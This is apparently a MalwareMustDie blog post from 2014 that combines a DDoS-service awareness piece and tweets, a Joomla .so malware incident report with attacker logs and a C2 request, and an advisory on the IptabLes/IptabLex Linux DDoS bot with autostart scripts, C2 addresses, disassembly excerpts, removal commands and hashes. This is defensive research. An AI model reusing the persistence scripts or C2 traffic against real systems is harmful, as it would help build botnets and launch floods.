In the end, this information hopefully to explain how DDoS is served and how DDoS is always on operation. Also how some of these services are wrapped with a simple GUI to be used for the attack. Suspending domain or mitigating DDoS services like these is not making much effect, and we need more firm act to stop individuals and infrastructure used to perform it. They are using common domains, web sites, even YouTube for promotion, moreover some of them are using known DDoS protection service to guard their DDoS'er sites (see below picture), it's just went too far, and maybe now is a right time to say "STOP".

But stopping these are easy to be said than done. I was thinking that maybe we need to push this awareness more to raise the importance in making a smoother scheme to fight this threat, hoping this post and other similar previous posts by others of this issue can escalate the process.

Kudos twitter friends with great comments!

Thank's to DOMAIN.ME & PW Registry for the instant suspensions. Thank you so much to these cool IT guys: @cesi0_ @DarkSunsetSX @NotBluntMan @BugTracK @LibidinousPrick @jedisct1 @VriesHD @whalezeye and all friends that favorites and RT, for the great support & comments during the trip (see below). And to MMD team: @essachin @malm0u53 @wirehack7 @MichalKoczwara for the support & for tango help!

. @MalwareMustDie thanks for letting us know! We've started the investigation.

— domain .ME (@domainME) June 7, 2014

Lol Pics of the day . #MalwareMustDie#DDOSpic.twitter.com/rCOz7CmvJQ

— sachin (@essachin) June 9, 2014

@MalwareMustDie@jedisct1 Most of the kids running these are teenagers. Just find them and call their parents up. I'm sure that'd stop them.

— BluntMan (@NotBluntMan) June 8, 2014

#DarkSunset Twitter / jedisct1: @MalwareMustDiepic.twitter.com/5bnjWviOLLpic.twitter.com/Y6BtyQdsyu, see more http://t.co/vjd9kLnke5

— Dark Sunset (@DarkSunsetSX) June 8, 2014

@MalwareMustDie Haha "wanna be hackers" #fail

— Michal Koczwara (@MichalKoczwara) June 8, 2014

@domainME@MalwareMustDie My mom hits harder than those kids! Pun intended.

— BugTracK (@_BugTracK) June 8, 2014

@MalwareMustDie cool, musta been the smoke-clouds from toasted moronz ~ best wishes for yer health

— whalezeye (@WhalezEye) June 8, 2014

@MalwareMustDie They provide servers specially for running your own DDoS service. I guess they have a few resellers.

— Frank Denis (@jedisct1) June 7, 2014

@MalwareMustDie correction - BIGbang is up BINGbang is not.

— ␀ (@cesi0_) June 7, 2014

@VriesHd@MalwareMustDie every android app is a potential botnet. By design. Google ibecame the ultimate botnet with android API.

— Albrecht (@LibidinousPrick) June 7, 2014

@MalwareMustDie@LibidinousPrick Well I've had my doubts on a few to be fair. I mean, it's a good way to scout the bad ones..

— Kira 2.0 (@VriesHd) June 7, 2014

@MalwareMustDie many DaaS like this.

— trudulu (@trudulu) June 7, 2014

@MalwareMustDiehttps://t.co/dd0FqOGfGv blacklisted as Malicious site

— Malwared (@Malwared_) June 7, 2014

@DaveMarcus@Tinolle1955@MalwareMustDie I get a lot of "timed-out" stuff on my browser. But no DDoS attack. How is that different?

— CyberProwl! (@F706L3665) June 7, 2014

@MalwareMustDie Pay to get DDoS'ed, one way to get attention lolz....

— Doctor No (@DoctorNoFI) June 7, 2014

@MalwareMustDie@CloudFlare CloudFlare guards w/o bothering w site content.That's the tactic they use to grow their biz. W/O responsibility.

— RealName GoesHere (@vxer) June 7, 2014

@vxer@MalwareMustDie@CloudFlare It's the same path most domain registrars take. They're not legally obliged to take action, so they won't.

— MalwareTech (@MalwareTechBlog) June 7, 2014

@MalwareMustDie most if not all of these are law enforcement traps from our criminal system of justice.

— Albrecht (@LibidinousPrick) June 7, 2014

@MalwareMustDie So you're looking into HackForums booters? I know a while ago they were recommending ecatel highly for attack scripts etc.

— formerly Wack0 (@TheWack0lian) June 10, 2014

@LibidinousPrick@MalwareMustDie If only that was true.

— Kira 2.0 (@VriesHd) June 7, 2014

@NotBluntMan@MalwareMustDie@jedisct1http://t.co/5nqzncAc1F speaking of ddos, nice perl script you had on the zimbra's nikolas

— DigitalFelon (@digitalfelon) June 8, 2014

Stay safe folks! #MalwareMustDie!

Raw text of current incident report is in here -->>[MMD Pastebin] and-->>[MMD Pastebin], for the video tutorial to extract, kill, debug & traffic capture ELF .so shared library malware that's using LD_PRELOAD is in here-->>[MMD Blog]

..and below is the current incident textual contents:

MalwareMustDie NEW Report of .SO ELF Malware attack incident.
date: Wed Jun 11 06:38:13 JST 2014
Analysis by @unixfreaxjp - Report & source investigation thx to: yin
Case: http://blog.malwaremustdie.org/2014/05/elf-shared-so-dynamic-library-malware.html
CNC is ALIVE in : "89.45.14.64 (VOXILITY, ROMANIA)"
ATTACKER SOURCE IP: "103.31.186.33 (VOXILITY, ROMANIA) &  31.202.247.234 (Leased line ISP Format, UKRAINE)"

//-------------------------------------
// PHP HACK INJECTION POC
// VICTIMS WEBAPP: JOOMLA!
//-------------------------------------

// Reported Injected installation .SO Bins
https://www.virustotal.com/en/file/324b1b77ff9c0759e3d2ab1efb9439a3a850d94bd9f1968a0f093a782b5ea990/analysis/1402437076/
https://www.virustotal.com/en/file/203eeac48d08cac9b36187bfb32bd88d29f1f44d4306f2ffc154538573e5d722/analysis/1402437106/

// Jinxed code installer PHP scripts in pastebin:
http://pastebin.com/z1K8jxKJ
http://pastebin.com/Pbsk3ZXU

// Malware Binaries extracted from installer PHP:
https://www.virustotal.com/en/file/c28e2ebc5046c1a03a8f689b757cf2a90d021eeaa0a5e9ec91aa33c76ee6237f/analysis/1402437331/
https://www.virustotal.com/en/file/af71138bc3b2e70fd1d8fd33c31a4707d686d893661a331aee68f223348e164e/analysis/1402437372/

//-------------------------------------
// CNC ANALYSIS
// Using knowhow from: http://blog.malwaremustdie.org/2014/05/elf-shared-so-dynamic-library-malware.html
//-------------------------------------

// Extract the bins w/ template:
$ date
Wed Jun 11 04:12:11 JST 2014
$
$ php ./sodump-template.php
SO x32 dumped 26848
SO x64 dumped 27288
MO x32 dumped 26848
MO x64 dumped 27288
$
$ ls -alF
total 600
drwxrwxrwx   2 xxx xxx    512 Jun 11 04:12 ./
drwxrwxrwx  13 xxx xxx    512 Jun 11 03:59 ../
-rw-r--r--   1 xxx xxx  26848 Jun 11 04:12 "libworker1-32.so"
-rw-r--r--   1 xxx xxx  27288 Jun 11 04:12 "libworker1-64.so"
-rw-r--r--   1 xxx xxx  26848 Jun 11 04:12 "libworker2-32.so"
-rw-r--r--   1 xxx xxx  27288 Jun 11 04:12 "libworker2-64.so"

$ md5 lib*
MD5 (libworker1-32.so) = 15584bc865d01b7adb7785f27ac60233
MD5 (libworker1-64.so) = f9aeda08db9fa8c1877e05fe0fd8ed21
MD5 (libworker2-32.so) = 15584bc865d01b7adb7785f27ac60233
MD5 (libworker2-64.so) = f9aeda08db9fa8c1877e05fe0fd8ed21
// noted see only one x32 and one x64 binaries used for multiple injection..


$ file lib*
libworker1-32.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped
libworker1-64.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped
libworker2-32.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped
libworker2-64.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped
$

// CNC:

POST /kuku/theend.php HTTP/1.0
Host: erstoryunics.us
Pragma: 1337
Content-Length: 84

R,20130826,64,0,,UNIX SCO System - MalwareMustDie Bangs Moronz CNC,
HTTP/1.1 200 OK
Date: Tue, 10 Jun 2014 22:12:22 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Content-Length: 6
Connection: close
Content-Type: text/html; charset=UTF-8
R,200

// CNC INFO (NETWORK & GEOIP)

$ echo `dig +short erstoryunics.us`|bash origin.sh
Wed Jun 11 06:28:03 JST 2014|89.45.14.64||39743 | 89.45.14.0/24 | VOXILITY | MD | - | IM INTERNET MEDIA SRL
IP Address, City, Country Name, Latitude, longitude, Time Zone
89.45.14.64, , Romania, 46.0, 25.0, Europe/Bucharest

//-------------------------------------
// ATTACK TIME RANGE:
//-------------------------------------

First session: "[22/May/2014:13:01:08 +1000]"
2nd Session First: "[09/Jun/2014:07:50:46 +1000]"
2nd Session Latest:"[10/Jun/2014:04:39:51 +1000]"

//-------------------------------------
// ATTACKER ACCESS POC & SOURCE IP POC:
//-------------------------------------

// Attacker access log aiming the PHP .SO Malware installer PHP script: 

103.31.186.33 - - [09/Jun/2014:07:50:46 +1000] "GET /cache.php HTTP/1.1" 200 71 "-""-"
103.31.186.33 - - [10/Jun/2014:03:34:23 +1000] "GET /cache.php HTTP/1.1" 200 71 "-""-"
103.31.186.33 - - [10/Jun/2014:04:10:30 +1000] "GET /cache.php HTTP/1.1" 200 71 "-""-"
103.31.186.33 - - [10/Jun/2014:04:39:51 +1000] "GET /cache.php HTTP/1.1" 200 71 "-""-"
103.31.186.33 - - [08/Jun/2014:07:56:45 +1000] "GET /cache.php HTTP/1.0" 200 71 "-""-"
103.31.186.33 - - [08/Jun/2014:19:50:28 +1000] "GET /cache.php HTTP/1.1" 200 71 "-""-"
103.31.186.33 - - [08/Jun/2014:21:39:46 +1000] "GET /cache.php HTTP/1.1" 200 71 "-""-"
103.31.186.33 - - [08/Jun/2014:22:10:14 +1000] "GET /cache.php HTTP/1.1" 200 71 "-""-"
103.31.186.33 - - [08/Jun/2014:06:25:18 +1000] "GET /jquery.js.php HTTP/1.0" 200 71 "-""-"
31.202.247.234 - - [22/May/2014:13:01:08 +1000] "GET /cache/cache.php HTTP/1.1" 200 17943 "-""Mozilla/5.0 (Windows NT 6.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1"


//-------------------------------------
 Tracing attacker source IP: "103.31.186.33 (ROMANIA)"
//-------------------------------------

$ whois 103.31.186.33
% [whois.apnic.net]
% Whois data copyright terms http://www.apnic.net/db/dbcopyright.html

% Information related to '103.31.186.0 - 103.31.186.127'

inetnum: 103.31.186.0 - 103.31.186.127
netname: Saulhost
descr: Saulhost Hosting
country: RO
admin-c: MT669-AP
tech-c: MT669-AP
status: ASSIGNED NON-PORTABLE
remarks: INFRA-AW
mnt-by: MAINT-HK-VOXILITY
mnt-lower: MAINT-HK-VOXILITY
mnt-routes: MAINT-HK-VOXILITY
mnt-irt: IRT-VOXILITY-AP
changed: noc@voxility.com 20130118
source: APNIC

irt: IRT-VOXILITY-AP
address: Dimitrie Pompeiu 9-9A
address: Building 24
address: Bucharest 020335
address: Romania
e-mail: noc@voxility.com
abuse-mailbox: noc@voxility.com
admin-c: VOX100
tech-c: VOX100
auth: # Filtered
mnt-by: MAINT-HK-VOXILITY
changed: noc@voxility.com 20121015
source: APNIC

person: Michael Ter-Sahakyan
address: Terbatas 14
address: LV-1011 Riga
address: Latvia
country: RO
phone: +37166163312
e-mail: abuses@saulhost.com
nic-hdl: MT669-AP
remarks: INFRA-AW
abuse-mailbox: abuses@saulhost.com
mnt-by: MAINT-HK-VOXILITY
changed: noc@voxility.com 20130118
source: APNIC

//-------------------------------------
 Tracing attacker source IP: "31.202.247.234 (UKRAINE)"
//-------------------------------------


$ whois 31.202.247.234
% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf

% Note: this output has been filtered.
% To receive output for a database update, use the "-B" flag.

% Information related to '31.202.192.0 - 31.202.255.255'

% Abuse contact for '31.202.192.0 - 31.202.255.255' is 'abuse@maxnet.ua'

inetnum: 31.202.192.0 - 31.202.255.255
netname: FORMAT-TV-NET-5
descr: MSP Format Ltd.
country: UA
admin-c: FA4288-RIPE
tech-c: FA4288-RIPE
status: ASSIGNED PA
mnt-by: FORMAT-TV-MNT
mnt-domains: FORMAT-TV-MNT
mnt-routes: FORMAT-TV-MNT
source: RIPE # Filtered

person: Format Admin
address: Ukraine Mariupol
phone: +380629422490
nic-hdl: FA4288-RIPE
mnt-by: FORMAT-TV-MNT
source: RIPE # Filtered

% Information related to '31.202.247.0/24AS6712'

route: 31.202.247.0/24
descr: Leased line ISP Format
origin: AS6712
mnt-by: FORMAT-TV-MNT
source: RIPE # Filtered

#MalwareMustDie!

The background

I think some of Linux sysadmins and malware researchers already know this issue well by reading references in sysadmin/linux forums or reported incident in works, or maybe facing this problem them self. Since the wave of attacks are still spotted and hitting several services with the known webapp vulnerabilities, yet there are no complete verdict details of the threat (yet), we feel it's important to raise an alert on this subject in MMD post as advisory to help fellow admins who may google info of this threat with hoping this may help giving thorough explanation. The recent vulnerability that was exploited to spread this malware infection is a per tweeted here:

Insecure default in #Elasticsearch enables remote code execution http://t.co/SG2vIfVINF< causing some ELF malware injection (was reported)

— Hendrik Adrian (@unixfreaxjp) June 15, 2014

Maybe some of us think that DDoS tools are just only infiltrating victim sites with some kids attemting to hack on unattended sites & installing their bots written in IRC Perl/PHP DDoS'er scripts. This post is a good reading for you who think that way, since it explained a more serious threat using ELF DoS binaries specifically built to conduct DDoS action in hacked Linux servers via serious root exploitation method in each infection. This threat is known as the infection of .IptabLex and .IptabLes ELF #DDoS backdoor trojan (malware). The infection was coming from China, and is world-wide now, hitting various Linux based services with new flaws in vulnerability and giving problems to some of us.
Here goes the details..

The worldwide incidents reported

First, how is the coverage of this infection? Below is the list of reported incidents of the current threat world wide, I followed & collected in chronological basis, all are referring to the same binary sets and similar infection modus operandi. Infected server's distributions are varied like Debian, Ubuntu, Slackware, CentOS to Redhat, via vulnerability in server application like Tomcat, Elasticsearch, Apache struts etc. But all of them are informing same vector of hack in code injection vulnerability.
FYI. No, we have not seen any FreeBSD or Mac OS X based server as victim (yet).

Jan 13 2014 at 15:26 (CHINA) [link]
Jan 18 2014 at 19:11 (EUROPE) [link]
Apr 10, 2014 (N/A) [link]
Apr 25, 2014 (N/A) [link]
May 4 2014 (HUNGARY) [link]
May 8 2014 (USA) [link]
May 12 2014 (US) [link]
May 25, 2014 (N/A) [link]
May 27, 2014 (VIETNAM) [link]
May 27, 2014 (N/A) [link]
Jun 3, 2014 (EUROPE) [link]
Jun 4, 2014 (N/A) [link]
Jun 8 2014 (EUROPE) [link]

Source of threat

The origin of the threat is coming from China, which can be technically described in the next analysis sections, but there are so many report posted about the threat in China sites with this reference -->>[here]

.@SeraphimDomain@virusbtn The highlights "IptabLe(s|x) ELF infection is they aim Apache base: Struts,Tomcat & Elasticsearch to exploit root

— MalwareMustDie, NPO (@MalwareMustDie) June 16, 2014

The symptoms of infection

An infected linux host will suffer the root privilege escalation and installed with the malware sets as per below details.

Malware main files will be located in either /boot or /usr as per below. It firstly tried to write in /boot , if fail the malware will be saved in /usr.

/boot/.IptabLes
/boot/.IptabLex

/usr/.IptabLes
/usr/.IptabLex

The malware will be accompanied by the autostart script:

$ ll -a /boot/Ip*
IptabLes -> /etc/rc.d/init.d/IptabLes
IptabLex -> /etc/rc.d/init.d/IptabLex

$ sudo cat /etc/rc.d/init.d/IptabLex
＃!/bin/sh
/boot/.IptabLex
exit 0

$ sudo cat /etc/rc.d/init.d/IptabLes
＃!/bin/sh
/boot/.IptabLes
exit 0

$ ll -a /[InfectedPath]/
.mylisthb.pid
.mylisthbS.pid
.mylisthbSx.pid
.mylisthbx.pid

In the case that I was handled, the binaries and autostart scripts is having these size:

-r----x--x   1 xxx xxx 1103207 Apr 25 16:38 .IptabLes*
-r----x--x   1 xxx xxx  722392 Apr 25 16:38 .IptabLex*
-r----x--x   1 xxx xxx      33 Apr 25 16:IptabLes*
-r----x--x   1 xxx xxx      33 Apr 25 16:IptabLex*

In some cases the "advanced" versions is having runtime problem and created segmentation fault (crash) as per lsof below:

$ sudo lsof -p 27322
.IptabLes 27322 root  cwd    DIR  253,0     4096       2 /
.IptabLes 27322 root  rtd    DIR  253,0     4096       2 /
.IptabLes 27322 root  txt    REG  104,1  1103243    5905 /boot/.IptabLes
.IptabLes 27322 root    0u   REG  253,0        5   98310 /.mylisthbS.pid
.IptabLes 27322 root    1u   REG  253,0        5   98313 /.mylisthb.pid
.IptabLes 27322 root    2u  sock    0,5      0t0 3442424 can't identify protocol
.IptabLes 27322 root    3u   raw             0t0 3445564 00000000:00FF->00000000:0000 st=07
.IptabLes 27322 root    4u   raw             0t0 3445565 00000000:00FF->00000000:0000 st=07
.IptabLes 27322 root    5u   raw             0t0 3445566 00000000:00FF->00000000:0000 st=07

$ sudo lsof -p 2013
.IptabLex 2013 root  cwd    DIR   253,0     4096     2 /
.IptabLex 2013 root  rtd    DIR   253,0     4096     2 /
.IptabLex 2013 root  txt    REG   104,1   722580  5906 /boot/.IptabLex
.IptabLex 2013 root    0u   REG   253,0        5 98309 /.mylisthbSx.pid
.IptabLex 2013 root    1uW  REG   253,0        5 98311 /.mylisthbx.pid
.IptabLex 2013 root    2u  IPv4 3479690      0t0   TCP x.x.x.x:10038->59.63.167.168:1001 (ESTABLISHED)

Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0    157 x.x.x.x:53534     119.145.148.76:905      ESTABLISHED 20543/.IptabLex     

udp  0   0 0.0.0.0:51152  0.0.0.0:*  20595/.IptabLes
udp  0   0 0.0.0.0:51152  0.0.0.0:*  20595/.IptabLes
udp  0   0 0.0.0.0:43193  0.0.0.0:*  20832/.IptabLes
udp  0   0 0.0.0.0:43193  0.0.0.0:*  20832/.IptabLes
udp  0   0 0.0.0.0:43193  0.0.0.0:*  20832/.IptabLes
udp  0   0 0.0.0.0:43193  0.0.0.0:*  20832/.IptabLes

tcp  0   1 x.x.x.x:52831  59.63.167.167:666       SYN_SENT    20539/.IptabLes
tcp  0   1 x.x.x.x:36089  119.145.148.56:666      SYN_SENT    20389/.IptabLes
tcp  0   1 x.x.x.x:36089  119.145.148.56:666      SYN_SENT    20389/.IptabLes
tcp  0   1 x.x.x.x:34365  112.33.19.8:666         SYN_SENT    20595/.IptabLes
tcp  0   1 x.x.x.x:34365  112.33.19.8:666         SYN_SENT    20595/.IptabLes
tcp  0   1 x.x.x.x:34365  112.33.19.8:666         SYN_SENT    20595/.IptabLes
tcp  0   1 x.x.x.x:35443  122.228.242.51:666      SYN_SENT    20595/.IptabLes
tcp  0   1 x.x.x.x:35443  122.228.242.51:666      SYN_SENT    20595/.IptabLes
tcp  0   1 x.x.x.x:35443  122.228.242.51:666      SYN_SENT    20595/.IptabLes
tcp  0   1 x.x.x.x:58164  59.63.167.167:666       SYN_SENT    20595/.IptabLes
tcp  0   1 x.x.x.x:36720  119.145.148.56:666      SYN_SENT    20595/.IptabLes
tcp  0   1 x.x.x.x:36720  119.145.148.56:666      SYN_SENT    20595/.IptabLes
tcp  0   1 x.x.x.x:55258  119.145.148.76:666      SYN_SENT    20613/.IptabLex
tcp  0   1 x.x.x.x:55258  119.145.148.76:666      SYN_SENT    20613/.IptabLex
tcp  0   1 x.x.x.x:55389  119.145.148.76:666      SYN_SENT    20860/.IptabLex
tcp  0   1 x.x.x.x:34994  112.33.19.8:666         SYN_SENT    20832/.IptabLes
tcp  0   1 x.x.x.x:55389  119.145.148.76:666      SYN_SENT    20860/.IptabLex
tcp  0   1 x.x.x.x:34994  112.33.19.8:666         SYN_SENT    20832/.IptabLes
tcp  0   1 x.x.x.x:55389  119.145.148.76:666      SYN_SENT    20860/.IptabLex
tcp  0   1 x.x.x.x:34994  112.33.19.8:666         SYN_SENT    20832/.IptabLes

Definition of the Malware

This malware is the DDoS bot ELF malware variant, with a bot backdoor function connected to the CNC which sending them instruction to attack targeted hosts by SYN Flood or DNS Flood DoS techniques. It was autostarted as daemon everytime the host's services started.

So far we see no RAT (Remote Access Trojan) functionality spotted unless for the specific DoS bot functions, and also no sign of rootkits/system environment deletion detected except the additional of autostart scripts.
The deletion process of this malware can be performed safely by execution of the below commands:

$ sudo rm -f /.mylisthb*  
$ sudo  rm -f /boot/.IptabLex
$ sudo  rm -f /boot/.IptabLes
$ sudo  rm -f /usr/.IptabLex
$ sudo  rm -f /usr/.IptabLes 
$ sudo  rm -f /etc/rc.d/init.d/IptabLex
$ sudo  rm -f /etc/rc.d/init.d/IptabLes

According to the reported cases it has backdoors connected to China IP addresses as per recorded data below:

119.145.148.76||4134 | 119.144.0.0/14 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
42.62.36.237  ||23724 | 42.62.32.0/21   | CHINANET-IDC-BJ | CN | - | FOREST ETERNAL COMMUNICATION TECH. CO.LTD

119.145.148.56||4134 | 119.144.0.0/14 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET GUANGDONG PROVINCE NETWORK
59.63.167.167||4134 | 59.62.0.0/15 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET JIANGXI PROVINCE NETWORK
59.63.167.168 ||4134  | 59.62.0.0/15    | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET JIANGXI PROVINCE NETWORK
112.33.19.8||9808 | 112.0.0.0/10 | CMNET | CN | CHINAMOBILELTD.COM | CHINA MOBILE COMMUNICATIONS CORPORATION
61.147.110.119||23650 | 61.147.110.0/24 | CHINANET-JS-AS | CN | CHINATELECOM.COM.CN | CHINANET JIANGSU PROVINCE NETWORK
61.174.41.15|15.41.174.61.dial.hu.zj.dynamic.163data.com.cn.|4134 | 61.174.0.0/16 | CHINANET | CN | CHINATELECOM.COM.CN | CHINANET-ZJ NINGBO NODE NETWORK

Binary Analysis

ELF file type:

IptabLes: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
IptabLex: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

- There is no dynamic section in this file.
- There are no section groups in this file.
- There are no relocations in this file.
- There are no unwind sections in this file.

  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x8048110
  Start of program headers:          52 (bytes into file)
  Start of section headers:          648072 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         5
  Size of section headers:           40 (bytes)
  Number of section headers:         39
  Section header string table index: 36

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .note.ABI-tag     NOTE            080480d4 0000d4 000020 00   A  0   0  4
  [ 2] .init             PROGBITS        080480f4 0000f4 000017 00  AX  0   0  4
  [ 3] .text             PROGBITS        08048110 000110 0695a8 00  AX  0   0 16
  [ 4] __libc_freeres_fn PROGBITS        080b16c0 0696c0 00100f 00  AX  0   0 16
  [ 5] __libc_thread_fre PROGBITS        080b26d0 06a6d0 0001db 00  AX  0   0 16
  [ 6] .fini             PROGBITS        080b28ac 06a8ac 00001c 00  AX  0   0  4
  [ 7] .rodata           PROGBITS        080b28e0 06a8e0 01554c 00   A  0   0 32
  [ 8] __libc_atexit     PROGBITS        080c7e2c 07fe2c 000004 00   A  0   0  4
  [ 9] __libc_subfreeres PROGBITS        080c7e30 07fe30 000030 00   A  0   0  4
  [10] __libc_thread_sub PROGBITS        080c7e60 07fe60 000008 00   A  0   0  4
  [11] .stapsdt.base     PROGBITS        080c7e68 07fe68 000001 00   A  0   0  1
  [12] .eh_frame         PROGBITS        080c7e6c 07fe6c 00b4fc 00   A  0   0  4
  [13] .gcc_except_table PROGBITS        080d3368 08b368 00010c 00   A  0   0  1
  [14] .tdata            PROGBITS        080d4474 08b474 000014 00 WAT  0   0  4
  [15] .tbss             NOBITS          080d4488 08b488 000018 00 WAT  0   0  4
  [16] .ctors            PROGBITS        080d4488 08b488 000008 00  WA  0   0  4
  [17] .dtors            PROGBITS        080d4490 08b490 00000c 00  WA  0   0  4
  [18] .jcr              PROGBITS        080d449c 08b49c 000004 00  WA  0   0  4
  [19] .data.rel.ro      PROGBITS        080d44a0 08b4a0 00002c 00  WA  0   0  4
  [20] .got              PROGBITS        080d44cc 08b4cc 000008 04  WA  0   0  4
  [21] .got.plt          PROGBITS        080d44d4 08b4d4 00000c 04  WA  0   0  4
  [22] .data             PROGBITS        080d44e0 08b4e0 000900 00  WA  0   0 32
  [23] .bss              NOBITS          080d4de0 08bde0 0041f8 00  WA  0   0 32
  [24] __libc_freeres_pt NOBITS          080d8fd8 08bde0 000014 00  WA  0   0  4
  [25] .comment          PROGBITS        00000000 08bde0 000398 00      0   0  1
  [26] .debug_aranges    PROGBITS        00000000 08c178 000120 00      0   0  1
  [27] .debug_pubnames   PROGBITS        00000000 08c298 000850 00      0   0  1
  [28] .debug_info       PROGBITS        00000000 08cae8 0079a5 00      0   0  1
  [29] .debug_abbrev     PROGBITS        00000000 09448d 0014a8 00      0   0  1
  [30] .debug_line       PROGBITS        00000000 095935 0018a2 00      0   0  1
  [31] .debug_frame      PROGBITS        00000000 0971d8 000cfc 00      0   0  4
  [32] .debug_str        PROGBITS        00000000 097ed4 0016f2 01  MS  0   0  1
  [33] .debug_loc        PROGBITS        00000000 0995c6 0046d9 00      0   0  1
  [34] .debug_ranges     PROGBITS        00000000 09dc9f 000300 00      0   0  1
  [35] .note.stapsdt     NOTE            00000000 09dfa0 000230 00      0   0  4
  [36] .shstrtab         STRTAB          00000000 09e1d0 0001b8 00      0   0  1
  [37] .symtab           SYMTAB          00000000 09e9a0 009700 10     38 948  4
  [38] .strtab           STRTAB          00000000 0a80a0 0085f4 00      0   0  1

  2030: 08049750   130 FUNC    GLOBAL DEFAULT    3 CheckPro
  1946: 08049820    40 FUNC    GLOBAL DEFAULT    3 AddProList
  1022: 080496c0    39 FUNC    GLOBAL DEFAULT    3 FreeProList
  1671: 08049850   106 FUNC    GLOBAL DEFAULT    3 CreateProlist

   424: 0806816e    13 FUNC    LOCAL  DEFAULT    3 _L_lock_30
   425: 0806817b    10 FUNC    LOCAL  DEFAULT    3 _L_unlock_120
  1022: 080496c0    39 FUNC    GLOBAL DEFAULT    3 FreeProList
  1081: 08068190   159 FUNC    GLOBAL DEFAULT    3 __getdents
  1162: 08049950   191 FUNC    GLOBAL DEFAULT    3 FindPtr
  1242: 080676f0   107 FUNC    GLOBAL DEFAULT    3 __strncasecmp
  1258: 0804ca20   442 FUNC    GLOBAL DEFAULT    3 killpeofnames
  1379: 080680c0   174 FUNC    WEAK   DEFAULT    3 readdir
  1381: 080d40c0 0x5aadd OBJECT  GLOBAL DEFAULT   22 filebyte
  1438: 080676f0   107 FUNC    WEAK   DEFAULT    3 strncasecmp
  1632: 08049a10    57 FUNC    GLOBAL DEFAULT    3 FindCptr
  1670: 080680c0   174 FUNC    GLOBAL DEFAULT    3 __readdir
  1760: 08049be0   208 FUNC    GLOBAL DEFAULT    3 WriteToFiles
  1785: 08050060   325 FUNC    GLOBAL DEFAULT    3 __deallocate_stack
  2041: 080d40a0     4 OBJECT  GLOBAL DEFAULT   22 constfilesize
  2052: 0804c720   106 FUNC    GLOBAL DEFAULT    3 tttaaa
  2209: 0804c6c0    82 FUNC    GLOBAL DEFAULT    3 mystristr
  2212: 0812ebc0   576 OBJECT  GLOBAL DEFAULT   22 tttxsa

Reverse Engineering Highlights

These are the source codes file list of this malware in C language:

'crtstuff.c'
'atk.c'
'common.c'
'zlib.c'
'list.c'
'main.c'
'mypth.c'
'Service.c'
'srvnet.c'
'udptest.c'

public startmain
startmain   proc near 
var_18      = dword ptr -18h
var_14      = dword ptr -14h
var_10      = dword ptr -10h
arg_0       = dword ptr  8
push    ebp
mov     ebp, esp
push    edi
mov     edi, offset aBoot_iptables ; contains "/boot/.IptabLes or Iptablex"
push    esi
push    ebx
  :

mov     [esp+18h+var_18], offset LOCKFILEX ; "/.mylisthbS"
call    promutex
sub     eax, 1
  :
call    getpid
call    fork

fork    proc near           
        push    ebp         
        mov     ebp, esp
        pop     ebp
        jmp     __libc_fork
fork    endp

SynFloodThread
DnsFloodThread

Let's moving on. In the .rodata:080B3360 you'll find the URL that the malware use for "test purpose", which can help PoC'ing the origin of this malware w/o much heavy reversing:

h00p://www.yahoo.com
h00p://www.baidu.com
h00p://www.china.com
h00p://www.ifeng.com

More malicious activities on the update server's data (link) which clearly show the fetch for updates then save it and deleting those upon done, infected host's sensitive information taken (link), getting networking information of the infected host (link), and hard coding installation of autostart scripts and installation steps (link) which PoC'ed all of the symptoms written above. For the own data handle itself this malware uses a compression logic with the decompression logic that's so "spaghetti coded" like the image below:

..with the code can be viewed here (link) ; Note: All reversed snips can be viewed in each shown disassembler links.

Analysis Samples & Virus Total

Samples are all in Virus Total already with the below hashes, under detection ratio between 3/54 to 8/54:

4baf340e3701b640ad36fb8f606e2aa7f494dd34dc3315c0943f3325c7766f80
a65f430a03c3717250d15d5745ec7c36a60962ae6473938ee545a0267b6857a4
86f34d9974f42ed557f4ae998da50af04b04b03c7e5cf01279ad1ca6bbb4ab1a
fa5e8571c93abbaf7014c9fcecffedeffdac0a3a15d459036fb149a47dfcfb61
d3dafa7f23858711a5fbc195f934b6891114e44d23c86796b2c042f1c2b6e026
ec546a0084120070ee0ea6f00673e42ca13c85f5bd8375a4e62d88541152de6d
(thank's to "Angel Hun" for the last two samples!)

2014/04/25  16:38         1,103,207 boot-.IptabLes
2014/04/25  16:38           722,392 boot-.IptabLex
2014/04/25  16:39                33 etc-rc.d-init.d-IptabLes
2014/04/25  16:39                33 etc-rc.d-init.d-IptabLex
2014/01/19  16:09         1,103,245 src-IptabLes
2014/01/19  16:09           722,582 src-IptabLex

Tiger Security [link], the cyber intelligence and information security entity, was just releasing the detail intelligence report of this threat which explaining the CNC operation behind the scene, as per written in their good report here-->[link]

Additionals:

#ELF IptabLe(s|X) autorun sh(pic), no AV would even do match "IptabLes" to detect as #malwarehttps://t.co/Hi8yeGiGQepic.twitter.com/jT1OrqO4c8

— MalwareMustDie, NPO (@MalwareMustDie) August 7, 2014

